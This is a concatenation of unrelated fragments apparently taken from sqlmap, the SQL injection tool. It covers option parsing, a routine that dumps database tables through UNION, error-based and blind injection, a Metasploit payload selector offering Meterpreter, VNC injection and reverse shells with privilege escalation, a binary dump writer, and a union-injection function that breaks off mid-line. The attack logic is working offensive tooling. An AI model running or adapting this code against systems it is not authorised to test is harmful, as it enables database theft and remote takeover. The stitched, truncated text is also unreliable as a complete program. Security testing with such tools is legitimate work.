dest="regType", help="Windows registry key value type") # General options general = parser.add_argument_group("General", "These options can be used to set some general working parameters") general.add_argument("-s", dest="sessionFile", help="Load session from a stored (.sqlite) file") general.add_argument("-t", dest="trafficFile", help="Log all HTTP traffic into a textual file") general.add_argument("--answers", dest="answers", help="Set predefined answers (e.g. \"quit=N,follow=N\")") general.add_argument("--base64", dest="base64Parameter", help="Parameter(s) containing Base64 encoded data") general.add_argument("--batch", dest="batch", action="store_true", help="Never ask for user input, use the default behavior") general.add_argument("--binary-fields", dest="binaryFields", help="Result fields having binary values (e.g. \"digest\")") general.add_argument("--check-internet", dest="checkInternet", action="store_true", help="Check Internet connection before assessing the target") general.add_argument("--cleanup", dest="cleanup", action="store_true", help="Clean up the DBMS from sqlmap specific UDF and tables") general.add_argument("--crawl", dest="crawlDepth", type=int, help="Crawl the website starting from the target URL") general.add_argument("--crawl-exclude", dest="crawlExclude", help="Regexp to exclude pages from crawling (e.g. \"logout\")") general.add_argument("--csv-del", dest="csvDel", help="Delimiting character used in CSV output (default \"%s\")" % defaults.csvDel) general.add_argument("--charset", dest="charset", help="Blind SQL injection charset (e.g. \"0123456789abcdef\")") general.add_argument("--dump-format", dest="dumpFormat", help="Format of dumped data (CSV (default), HTML or SQLITE)") general.add_argument("--encoding", dest="encoding", help="Character encoding used for data retrieval (e.g. GBK)") general.add_argument("--eta", dest="eta", action="store_true", help="Display for each output the estimated time of arrival") general.add_argument("--flush-session", dest="flushSession", action="store_true", help="Flush session files for current target") general.add_argument("--forms", dest="forms", action="store_true", help="Parse and test forms on target URL") general.add_argument("--fresh-queries", dest="freshQueries", action="store_true", help="Ignore query results stored in session file") general.add_argument("--gpage", dest="googlePage", type=int, help="Use Google dork results from specified page number") general.add_argument("--har", dest="harFile", help="Log all HTTP traffic into a HAR file") general.add_argument("--hex", dest="hexConvert", action="store_true", help="Use hex conversion during data retrieval") general.add_argument("--output-dir", dest="outputDir", action="store", help="Custom output directory path") general.add_argument("--parse-errors", dest="parseErrors", action="store_true", help="Parse and display DBMS error messages from responses") general.add_argument("--preprocess", dest="preprocess", help="Use given script(s) for preprocessing of response data") general.add_argument("--repair", dest="repair", action="store_true", help="Redump entries having unknown character marker (%s)" % INFERENCE_UNKNOWN_CHAR) general.add_argument("--save", dest="saveConfig", help="Save options to a configuration INI file") general.add_argument("--scope", dest="scope", help="Regexp for filtering targets") general.add_argument("--skip-waf", dest="skipWaf", action="store_true", help="Skip heuristic detection of WAF/IPS protection") general.add_argument("--table-prefix", dest="tablePrefix", help="Prefix used for temporary tables (default: \"%s\")" % defaults.tablePrefix) general.add_argument("--test-filter", dest="testFilter", help="Select tests by payloads and/or titles (e.g. ROW)") general.add_argument("--test-skip", dest="testSkip", help="Skip tests by payloads and/or titles (e.g. BENCHMARK)") general.add_argument("--web-root", dest="webRoot", help="Web server document root directory (e.g. \"/var/www\")") # Miscellaneous options miscellaneous = parser.add_argument_group("Miscellaneous", "These options do not fit into any other category") miscellaneous.add_argument("-z", dest="mnemonics", help="Use short mnemonics (e.g. \"flu,bat,ban,tec=EU\")") miscellaneous.add_argument("--alert", dest="alert", help="Run host OS command(s) when SQL injection is found") miscellaneous.add_argument("--beep", dest="beep", action="store_true", help="Beep on question and/or when SQL injection is found") miscellaneous.add_argument("--dependencies", dest="dependencies", action="store_true", help="Check for missing (optional) sqlmap dependencies") miscellaneous.add_argument("--disable-coloring", dest="disableColoring", action="store_true", help="Disable console output coloring") miscellaneous.add_argument("--list-tampers", dest="listTampers", action="store_true", help="Display list of available tamper scripts") miscellaneous.add_argument("--offline", dest="offline", action="store_true", help="Work in offline mode (only use session data)") miscellaneous.add_argument("--purge", dest="purge", action="store_true", help="Safely remove all content from sqlmap data directory") miscellaneous.add_argument("--results-file", dest="resultsFile", help="Location of CSV results file in multiple targets mode") miscellaneous.add_argument("--sqlmap-shell", dest="sqlmapShell", action="store_true", help="Prompt for an interactive sqlmap shell") miscellaneous.add_argument("--tmp-dir", dest="tmpDir", help="Local directory for storing temporary files") miscellaneous.add_argument("--unstable", dest="unstable", action="store_true", help="Adjust options for unstable connections") miscellaneous.add_argument("--update", dest="updateAll", action="store_true", help="Update sqlmap") miscellaneous.add_argument("--wizard", dest="wizard", action="store_true", help="Simple wizard interface for beginner users") # Hidden and/or experimental options parser.add_argument("--crack", dest="hashFile", help=SUPPRESS) # "Load and crack hashes from a file (standalone)" parser.add_argument("--dummy", dest="dummy", action="store_true", help=SUPPRESS) parser.add_argument("--murphy-rate", dest="murphyRate", type=int, help=SUPPRESS) parser.add_argument("--debug", dest="debug", action="store_true", help=SUPPRESS) parser.add_argument("--disable-multi", dest="disableMulti", action="store_true", help=SUPPRESS) parser.add_argument("--disable-precon", dest="disablePrecon", action="store_true", help=SUPPRESS) parser.add_argument("--disable-stats", dest="disableStats", action="store_true", help=SUPPRESS) parser.add_argument("--profile", dest="profile", action="store_true", help=SUPPRESS) parser.add_argument("--force-dbms", dest="forceDbms", help=SUPPRESS) parser.add_argument("--force-dns", dest="forceDns", action="store_true", help=SUPPRESS) parser.add_argument("--force-partial", dest="forcePartial", action="store_true", help=SUPPRESS) parser.add_argument("--force-pivoting", dest="forcePivoting", action="store_true", help=SUPPRESS) parser.add_argument("--non-interactive", dest="nonInteractive", action="store_true", help=SUPPRESS) parser.add_argument("--gui", dest="gui", action="store_true", help=SUPPRESS) parser.add_argument("--smoke-test", dest="smokeTest", action="store_true", help=SUPPRESS) parser.add_argument("--vuln-test", dest="vulnTest", action="store_true", help=SUPPRESS) parser.add_argument("--bed-test", dest="bedTest", action="store_true", help=SUPPRESS) parser.add_argument("--fuzz-test", dest="fuzzTest", action="store_true", help=SUPPRESS) # API options parser.add_argument("--api", dest="api", action="store_true", help=SUPPRESS) parser.add_argument("--taskid", dest="taskid", help=SUPPRESS) parser.add_argument("--database", dest="database", help=SUPPRESS) # Dirty hack to display longer options without breaking into two lines if hasattr(parser, "formatter"): def _(self, *args): retVal = parser.formatter._format_option_strings(*args) if len(retVal) > MAX_HELP_OPTION_LENGTH: retVal = ("%%.%ds.." % (MAX_HELP_OPTION_LENGTH - parser.formatter.indent_increment)) % retVal return retVal parser.formatter._format_option_strings = parser.formatter.format_option_strings parser.formatter.format_option_strings = type(parser.formatter.format_option_strings)(_, parser) else: def _format_action_invocation(self, action): retVal = self.__format_action_invocation(action) if len(retVal) > MAX_HELP_OPTION_LENGTH: retVal = ("%%.%ds.." % (MAX_HELP_OPTION_LENGTH - self._indent_increment)) % retVal return retVal parser.formatter_class.__format_action_invocation = parser.formatter_class._format_action_invocation parser.formatter_class._format_action_invocation = _format_action_invocation # Dirty hack for making a short option '-hh' if hasattr(parser, "get_option"): option = parser.get_option("--hh") option._short_opts = ["-hh"] option._long_opts = [] else: for action in get_actions(parser): if action.option_strings == ["--hh"]: action.option_strings = ["-hh"] break # Dirty hack for inherent help message of switch '-h' if hasattr(parser, "get_option"): option = parser.get_option("-h") option.help = option.help.capitalize().replace("this help", "basic help") else: for action in get_actions(parser): if action.option_strings == ["-h", "--help"]: action.help = action.help.capitalize().replace("this help", "basic help") break _ = [] advancedHelp = True extraHeaders = [] tamperIndex = None # Reference: https://stackoverflow.com/a/4012683 (Note: previously used "...sys.getfilesystemencoding() or UNICODE_ENCODING") for arg in argv: _.append(getUnicode(arg, encoding=sys.stdin.encoding)) argv = _ checkOldOptions(argv) if "--gui" in argv: from lib.core.gui import runGui runGui(parser) raise SqlmapSilentQuitException elif "--sqlmap-shell" in argv: _createHomeDirectories() parser.usage = "" cmdLineOptions.sqlmapShell = True commands = set(("x", "q", "exit", "quit", "clear")) commands.update(get_all_options(parser)) autoCompletion(AUTOCOMPLETE_TYPE.SQLMAP, commands=commands) while True: command = None try: # Note: in Python2 command should not be converted to Unicode before passing to shlex (Reference: https://bugs.python.org/issue1170) command = _input("sqlmap-shell> ").strip() except (KeyboardInterrupt, EOFError): print() raise SqlmapShellQuitException if not command: continue elif command.lower() == "clear": clearHistory() dataToStdout("[i] history cleared\n") saveHistory(AUTOCOMPLETE_TYPE.SQLMAP) elif command.lower() in ("x", "q", "exit", "quit"): raise SqlmapShellQuitException elif command[0] != '-': dataToStdout("[!] invalid option(s) provided\n") dataToStdout("[i] proper example: '-u http://www.site.com/vuln.php?id=1 --banner'\n") else: saveHistory(AUTOCOMPLETE_TYPE.SQLMAP) loadHistory(AUTOCOMPLETE_TYPE.SQLMAP) break try: for arg in shlex.split(command): argv.append(getUnicode(arg, encoding=sys.stdin.encoding)) except ValueError as ex: raise SqlmapSyntaxException("something went wrong during command line parsing ('%s')" % getSafeExString(ex)) longOptions = set(re.findall(r"\-\-([^= ]+?)=", parser.format_help())) longSwitches = set(re.findall(r"\-\-([^= ]+?)\s", parser.format_help())) for i in xrange(len(argv)): # Reference: https://en.wiktionary.org/wiki/- argv[i] = re.sub(u"\A(\u2010|\u2013|\u2212|\u2014|\u4e00|\u1680|\uFE63|\uFF0D)+", lambda match: '-' * len(match.group(0)), argv[i]) # Reference: https://unicode-table.com/en/sets/quotation-marks/ argv[i] = argv[i].strip(u"\u00AB\u2039\u00BB\u203A\u201E\u201C\u201F\u201D\u2019\u0022\u275D\u275E\u276E\u276F\u2E42\u301D\u301E\u301F\uFF02\u201A\u2018\u201B\u275B\u275C") if argv[i] == "-hh": argv[i] = "-h" elif i == 1 and re.search(r"\A(http|www\.|\w[\w.-]+\.\w{2,})", argv[i]) is not None: argv[i] = "--url=%s" % argv[i] elif len(argv[i]) > 1 and all(ord(_) in xrange(0x2018, 0x2020) for _ in ((argv[i].split('=', 1)[-1].strip() or ' ')[0], argv[i][-1])): dataToStdout("[!] copy-pasting illegal (non-console) quote characters from Internet is illegal (%s)\n" % argv[i]) raise SystemExit elif len(argv[i]) > 1 and u"\uff0c" in argv[i].split('=', 1)[-1]: dataToStdout("[!] copy-pasting illegal (non-console) comma characters from Internet is illegal (%s)\n" % argv[i]) raise SystemExit elif re.search(r"\A-\w=.+", argv[i]): dataToStdout("[!] potentially miswritten (illegal '=') short option detected ('%s')\n" % argv[i]) raise SystemExit elif re.search(r"\A-\w{3,}", argv[i]): if argv[i].strip('-').split('=')[0] in (longOptions | longSwitches): argv[i] = "-%s" % argv[i] elif argv[i] in IGNORED_OPTIONS: argv[i] = "" elif argv[i] in DEPRECATED_OPTIONS: argv[i] = "" elif argv[i].startswith("--tamper"): if tamperIndex is None: tamperIndex = i if '=' in argv[i] else (i + 1 if i + 1 < len(argv) and not argv[i + 1].startswith('-') else None) else: argv[tamperIndex] = "%s,%s" % (argv[tamperIndex], argv[i].split('=')[1] if '=' in argv[i] else (argv[i + 1] if i + 1 < len(argv) and not argv[i + 1].startswith('-') else "")) argv[i] = "" elif argv[i] == "-H": if i + 1 < len(argv): extraHeaders.append(argv[i + 1]) elif argv[i] == "--deps": argv[i] = "--dependencies" elif argv[i] == "-r": for j in xrange(i + 2, len(argv)): value = argv[j] if os.path.isfile(value): argv[i + 1] += ",%s" % value argv[j] = '' else: break elif re.match(r"\A\d+!\Z", argv[i]) and argv[max(0, i - 1)] == "--threads" or re.match(r"\A--threads.+\d+!\Z", argv[i]): argv[i] = argv[i][:-1] conf.skipThreadCheck = True elif argv[i] == "--version": print(VERSION_STRING.split('/')[-1]) raise SystemExit elif argv[i] in ("-h", "--help"): advancedHelp = False for group in get_groups(parser)[:]: found = False for option in get_actions(group): if option.dest not in BASIC_HELP_ITEMS: option.help = SUPPRESS else: found = True if not found: get_groups(parser).remove(group) elif '=' in argv[i] and not argv[i].startswith('-') and argv[i].split('=')[0] in longOptions and re.search(r"\A-\w\Z", argv[i - 1]) is None: dataToStdout("[!] detected usage of long-option without a starting hyphen ('%s')\n" % argv[i]) raise SystemExit for verbosity in (_ for _ in argv if re.search(r"\A\-v+\Z", _)): try: if argv.index(verbosity) == len(argv) - 1 or not argv[argv.index(verbosity) + 1].isdigit(): conf.verbose = verbosity.count('v') + 1 del argv[argv.index(verbosity)] except (IndexError, ValueError): pass try: (args, _) = parser.parse_known_args(argv) if hasattr(parser, "parse_known_args") else parser.parse_args(argv) except UnicodeEncodeError as ex: dataToStdout("\n[!] %s\n" % getUnicode(ex.object.encode("unicode-escape"))) raise SystemExit except SystemExit: if "-h" in argv and not advancedHelp: dataToStdout("\n[!] to see full list of options run with '-hh'\n") raise if extraHeaders: if not args.headers: args.headers = "" delimiter = "\\n" if "\\n" in args.headers else "\n" args.headers += delimiter + delimiter.join(extraHeaders) # Expand given mnemonic options (e.g. -z "ign,flu,bat") for i in xrange(len(argv) - 1): if argv[i] == "-z": expandMnemonics(argv[i + 1], parser, args) if args.dummy: args.url = args.url or DUMMY_URL if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.bedTest, args.fuzzTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile)): errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --list-tampers, --wizard, --update, --purge or --dependencies). " errMsg += "Use -h for basic and -hh for advanced help\n" parser.error(errMsg) return args except (ArgumentError, TypeError) as ex: parser.error(ex) except SystemExit: # Protection against Windows dummy double clicking if IS_WIN: dataToStdout("\nPress Enter to continue...") _input() raise debugMsg = "parsing command line" logger.debug(debugMsg)
def dumpTable(self, foundData=None): self.forceDbmsEnum() if conf.db is None or conf.db == CURRENT_DB: if conf.db is None: warnMsg = "missing database parameter. sqlmap is going " warnMsg += "to use the current database to enumerate " warnMsg += "table(s) entries" logger.warn(warnMsg) conf.db = self.getCurrentDb() elif conf.db is not None: if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB): conf.db = conf.db.upper() if ',' in conf.db: errMsg = "only one database name is allowed when enumerating " errMsg += "the tables' columns" raise SqlmapMissingMandatoryOptionException(errMsg) if conf.exclude and conf.db in conf.exclude.split(','): infoMsg = "skipping database '%s'" % unsafeSQLIdentificatorNaming( conf.db) singleTimeLogMessage(infoMsg) return conf.db = safeSQLIdentificatorNaming(conf.db) if conf.tbl: if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB): conf.tbl = conf.tbl.upper() tblList = conf.tbl.split(',') else: self.getTables() if len(kb.data.cachedTables) > 0: tblList = list(kb.data.cachedTables.values()) if isinstance(tblList[0], (set, tuple, list)): tblList = tblList[0] elif not conf.search: errMsg = "unable to retrieve the tables " errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) raise SqlmapNoneDataException(errMsg) else: return for tbl in tblList: tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True) for tbl in tblList: if kb.dumpKeyboardInterrupt: break if conf.exclude and tbl in conf.exclude.split(','): infoMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming( tbl) singleTimeLogMessage(infoMsg) continue conf.tbl = tbl kb.data.dumpedTable = {} if foundData is None: kb.data.cachedColumns = {} self.getColumns(onlyColNames=True, dumpMode=True) else: kb.data.cachedColumns = foundData try: if Backend.isDbms(DBMS.INFORMIX): kb.dumpTable = "%s:%s" % (conf.db, tbl) else: kb.dumpTable = "%s.%s" % (conf.db, tbl) if not safeSQLIdentificatorNaming(conf.db) in kb.data.cachedColumns \ or safeSQLIdentificatorNaming(tbl, True) not in \ kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] \ or not kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]: warnMsg = "unable to enumerate the columns for table " warnMsg += "'%s' in database" % unsafeSQLIdentificatorNaming( tbl) warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(conf.db) warnMsg += ", skipping" if len(tblList) > 1 else "" logger.warn(warnMsg) continue columns = kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)][safeSQLIdentificatorNaming(tbl, True)] colList = sorted([_f for _f in list(columns.keys()) if _f]) if conf.exclude: colList = [ _ for _ in colList if _ not in conf.exclude.split(',') ] if not colList: warnMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming( tbl) warnMsg += " in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) warnMsg += " (no usable column names)" logger.warn(warnMsg) continue kb.dumpColumns = colList colNames = colString = ", ".join(column for column in colList) rootQuery = queries[Backend.getIdentifiedDbms()].dump_table infoMsg = "fetching entries" if conf.col: infoMsg += " of column(s) '%s'" % colNames infoMsg += " for table '%s'" % unsafeSQLIdentificatorNaming( tbl) infoMsg += " in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.info(infoMsg) for column in colList: _ = agent.preprocessField(tbl, column) if _ != column: colString = re.sub(r"\b%s\b" % re.escape(column), _, colString) entriesCount = 0 if any( isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: entries = [] query = None if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.inband.query % ( colString, tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper()))) elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MAXDB): query = rootQuery.inband.query % (colString, tbl) elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): # Partial inband and error if not (isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and kb.injection.data[PAYLOAD.TECHNIQUE.UNION]. where == PAYLOAD.WHERE.ORIGINAL): table = "%s.%s" % (conf.db, tbl) if Backend.isDbms( DBMS.MSSQL) and not conf.forcePivoting: warnMsg = "in case of table dumping problems (e.g. column entry order) " warnMsg += "you are advised to rerun with '--force-pivoting'" singleTimeWarnMessage(warnMsg) query = rootQuery.blind.count % table query = agent.whereQuery(query) count = inject.getValue( query, blind=False, time=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if isNumPosStrValue(count): try: indexRange = getLimitRange( count, plusOne=True) for index in indexRange: row = [] for column in colList: query = rootQuery.blind.query3 % ( column, column, table, index) query = agent.whereQuery(query) value = inject.getValue( query, blind=False, time=False, dump=True) or "" row.append(value) entries.append(row) except KeyboardInterrupt: kb.dumpKeyboardInterrupt = True clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" logger.warn(warnMsg) if not entries and not kb.dumpKeyboardInterrupt: try: retVal = pivotDumpTable(table, colList, blind=False) except KeyboardInterrupt: retVal = None kb.dumpKeyboardInterrupt = True clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" logger.warn(warnMsg) if retVal: entries, _ = retVal entries = list( zip(*[ entries[colName] for colName in colList ])) else: query = rootQuery.inband.query % (colString, conf.db, tbl) elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB): query = rootQuery.inband.query % ( colString, conf.db, tbl, prioritySortColumns(colList)[0]) else: query = rootQuery.inband.query % (colString, conf.db, tbl) query = agent.whereQuery(query) if not entries and query and not kb.dumpKeyboardInterrupt: try: entries = inject.getValue(query, blind=False, time=False, dump=True) except KeyboardInterrupt: entries = None kb.dumpKeyboardInterrupt = True clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" logger.warn(warnMsg) if not isNoneValue(entries): if isinstance(entries, str): entries = [entries] elif not isListLike(entries): entries = [] entriesCount = len(entries) for index, column in enumerate(colList): if column not in kb.data.dumpedTable: kb.data.dumpedTable[column] = { "length": len(column), "values": BigArray() } for entry in entries: if entry is None or len(entry) == 0: continue if isinstance(entry, str): colEntry = entry else: colEntry = unArrayizeValue( entry[index] ) if index < len(entry) else '' maxLen = max( len(column), len( DUMP_REPLACEMENTS.get( getUnicode(colEntry), getUnicode(colEntry)))) if maxLen > kb.data.dumpedTable[column][ "length"]: kb.data.dumpedTable[column][ "length"] = maxLen kb.data.dumpedTable[column]["values"].append( colEntry) if not kb.data.dumpedTable and isInferenceAvailable( ) and not conf.direct: infoMsg = "fetching number of " if conf.col: infoMsg += "column(s) '%s' " % colNames infoMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming( tbl) infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.info(infoMsg) if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.blind.count % ( tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper()))) elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): query = rootQuery.blind.count % tbl elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): query = rootQuery.blind.count % ("%s.%s" % (conf.db, tbl)) elif Backend.isDbms(DBMS.MAXDB): query = rootQuery.blind.count % tbl elif Backend.isDbms(DBMS.INFORMIX): query = rootQuery.blind.count % (conf.db, tbl) else: query = rootQuery.blind.count % (conf.db, tbl) query = agent.whereQuery(query) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) lengths = {} entries = {} if count == 0: warnMsg = "table '%s' " % unsafeSQLIdentificatorNaming( tbl) warnMsg += "in database '%s' " % unsafeSQLIdentificatorNaming( conf.db) warnMsg += "appears to be empty" logger.warn(warnMsg) for column in colList: lengths[column] = len(column) entries[column] = [] elif not isNumPosStrValue(count): warnMsg = "unable to retrieve the number of " if conf.col: warnMsg += "column(s) '%s' " % colNames warnMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming( tbl) warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.warn(warnMsg) continue elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.SYBASE, DBMS.MAXDB, DBMS.MSSQL, DBMS.INFORMIX): if Backend.isDbms(DBMS.ACCESS): table = tbl elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): table = "%s.%s" % (conf.db, tbl) elif Backend.isDbms(DBMS.MAXDB): table = "%s.%s" % (conf.db, tbl) elif Backend.isDbms(DBMS.INFORMIX): table = "%s:%s" % (conf.db, tbl) if Backend.isDbms( DBMS.MSSQL) and not conf.forcePivoting: warnMsg = "in case of table dumping problems (e.g. column entry order) " warnMsg += "you are advised to rerun with '--force-pivoting'" singleTimeWarnMessage(warnMsg) try: indexRange = getLimitRange(count, plusOne=True) for index in indexRange: for column in colList: query = rootQuery.blind.query3 % ( column, column, table, index) query = agent.whereQuery(query) value = inject.getValue( query, union=False, error=False, dump=True) or "" if column not in lengths: lengths[column] = 0 if column not in entries: entries[column] = BigArray() lengths[column] = max( lengths[column], len( DUMP_REPLACEMENTS.get( getUnicode(value), getUnicode(value)))) entries[column].append(value) except KeyboardInterrupt: kb.dumpKeyboardInterrupt = True clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" logger.warn(warnMsg) if not entries and not kb.dumpKeyboardInterrupt: try: retVal = pivotDumpTable(table, colList, count, blind=True) except KeyboardInterrupt: retVal = None kb.dumpKeyboardInterrupt = True clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" logger.warn(warnMsg) if retVal: entries, lengths = retVal else: emptyColumns = [] plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) indexRange = getLimitRange(count, plusOne=plusOne) if len(colList) < len( indexRange) > CHECK_ZERO_COLUMNS_THRESHOLD: debugMsg = "checking for empty columns" logger.debug(infoMsg) for column in colList: if not inject.checkBooleanExpression( "(SELECT COUNT(%s) FROM %s)>0" % (column, kb.dumpTable)): emptyColumns.append(column) debugMsg = "column '%s' of table '%s' will not be " % ( column, kb.dumpTable) debugMsg += "dumped as it appears to be empty" logger.debug(debugMsg) try: for index in indexRange: for column in colList: value = "" if column not in lengths: lengths[column] = 0 if column not in entries: entries[column] = BigArray() if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB): query = rootQuery.blind.query % ( agent.preprocessField(tbl, column), conf.db, conf.tbl, sorted(colList, key=len)[0], index) elif Backend.getIdentifiedDbms() in ( DBMS.ORACLE, DBMS.DB2): query = rootQuery.blind.query % ( agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index) elif Backend.isDbms(DBMS.SQLITE): query = rootQuery.blind.query % ( agent.preprocessField( tbl, column), tbl, index) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.query % ( index, agent.preprocessField(tbl, column), tbl) elif Backend.isDbms(DBMS.INFORMIX): query = rootQuery.blind.query % ( index, agent.preprocessField( tbl, column), conf.db, tbl, sorted(colList, key=len)[0]) query = agent.whereQuery(query) value = NULL if column in emptyColumns else inject.getValue( query, union=False, error=False, dump=True) value = '' if value is None else value lengths[column] = max( lengths[column], len( DUMP_REPLACEMENTS.get( getUnicode(value), getUnicode(value)))) entries[column].append(value) except KeyboardInterrupt: kb.dumpKeyboardInterrupt = True clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" logger.warn(warnMsg) for column, columnEntries in list(entries.items()): length = max(lengths[column], len(column)) kb.data.dumpedTable[column] = { "length": length, "values": columnEntries } entriesCount = len(columnEntries) if len(kb.data.dumpedTable) == 0 or (entriesCount == 0 and kb.permissionFlag): warnMsg = "unable to retrieve the entries " if conf.col: warnMsg += "of columns '%s' " % colNames warnMsg += "for table '%s' " % unsafeSQLIdentificatorNaming( tbl) warnMsg += "in database '%s'%s" % ( unsafeSQLIdentificatorNaming(conf.db), " (permission denied)" if kb.permissionFlag else "") logger.warn(warnMsg) else: kb.data.dumpedTable["__infos__"] = { "count": entriesCount, "table": safeSQLIdentificatorNaming(tbl, True), "db": safeSQLIdentificatorNaming(conf.db) } try: attackDumpedTable() except (IOError, OSError) as ex: errMsg = "an error occurred while attacking " errMsg += "table dump ('%s')" % getSafeExString(ex) logger.critical(errMsg) conf.dumper.dbTableValues(kb.data.dumpedTable) except SqlmapConnectionException as ex: errMsg = "connection exception detected in dumping phase " errMsg += "('%s')" % getSafeExString(ex) logger.critical(errMsg) finally: kb.dumpColumns = None kb.dumpTable = None
def _selectPayload(self): if Backend.isOs(OS.WINDOWS) and conf.privEsc: infoMsg = "forcing Metasploit payload to Meterpreter because " infoMsg += "it is the only payload that can be used to " infoMsg += "escalate privileges via 'incognito' extension, " infoMsg += "'getsystem' command or post modules" logger.info(infoMsg) _payloadStr = "windows/meterpreter" else: _payloadStr = self._skeletonSelection("payload", self._msfPayloadsList) if _payloadStr == "windows/vncinject": choose = False if Backend.isDbms(DBMS.MYSQL): debugMsg = "by default MySQL on Windows runs as SYSTEM " debugMsg += "user, it is likely that the the VNC " debugMsg += "injection will be successful" logger.debug(debugMsg) elif Backend.isDbms(DBMS.PGSQL): choose = True warnMsg = "by default PostgreSQL on Windows runs as " warnMsg += "postgres user, it is unlikely that the VNC " warnMsg += "injection will be successful" logger.warn(warnMsg) elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): choose = True warnMsg = "it is unlikely that the VNC injection will be " warnMsg += "successful because usually Microsoft SQL Server " warnMsg += "%s runs as Network Service " % Backend.getVersion() warnMsg += "or the Administrator is not logged in" logger.warn(warnMsg) if choose: message = "what do you want to do?\n" message += "[1] Give it a try anyway\n" message += "[2] Fall back to Meterpreter payload (default)\n" message += "[3] Fall back to Shell payload" while True: choice = readInput(message, default="2") if not choice or choice == "2": _payloadStr = "windows/meterpreter" break elif choice == "3": _payloadStr = "windows/shell" break elif choice == "1": if Backend.isDbms(DBMS.PGSQL): logger.warn("beware that the VNC injection might not work") break elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): break elif not choice.isdigit(): logger.warn("invalid value, only digits are allowed") elif int(choice) < 1 or int(choice) > 2: logger.warn("invalid value, it must be 1 or 2") if self.connectionStr.startswith("reverse_http") and _payloadStr != "windows/meterpreter": warnMsg = "Reverse HTTP%s connection is only supported " % ("S" if self.connectionStr.endswith("s") else "") warnMsg += "with the Meterpreter payload. Falling back to " warnMsg += "reverse TCP" logger.warn(warnMsg) self.connectionStr = "reverse_tcp" return _payloadStr
_ = re.sub( r"[^\w]", "_", normalizeUnicode( unsafeSQLIdentificatorNaming(column))) filepath = os.path.join( dumpDbPath, "%s-%d.bin" % (_, randomInt(8))) warnMsg = "writing binary ('%s') content to file '%s' " % ( mimetype, filepath) logger.warn(warnMsg) with open(filepath, "wb") as f: _ = safechardecode(value, True) f.write(_) except magic.MagicException, err: logger.debug(str(err)) if conf.dumpFormat == DUMP_FORMAT.CSV: if field == fields: dataToDumpFile(dumpFP, "%s" % safeCSValue(value)) else: dataToDumpFile( dumpFP, "%s%s" % (safeCSValue(value), conf.csvDel)) elif conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile( dumpFP, "<td>%s</td>" % cgi.escape(value).encode( "ascii", "xmlcharrefreplace")) field += 1
def unionUse(expression, unpack=True, dump=False): """ This function tests for an union SQL injection on the target url then call its subsidiary function to effectively perform an union SQL injection on the affected url """ initTechnique(PAYLOAD.TECHNIQUE.UNION) abortedFlag = False count = None origExpr = expression startLimit = 0 stopLimit = None value = None width = getConsoleWidth() start = time.time() _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(origExpr) if expressionFieldsList and len(expressionFieldsList) > 1 and " ORDER BY " in expression.upper(): # No need for it in multicolumn dumps (one row is retrieved per request) and just slowing down on large table dumps expression = expression[:expression.upper().rindex(" ORDER BY ")] # We have to check if the SQL query might return multiple entries # and in such case forge the SQL limiting the query output one # entry per time # NOTE: I assume that only queries that get data from a table can # return multiple entries if (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == 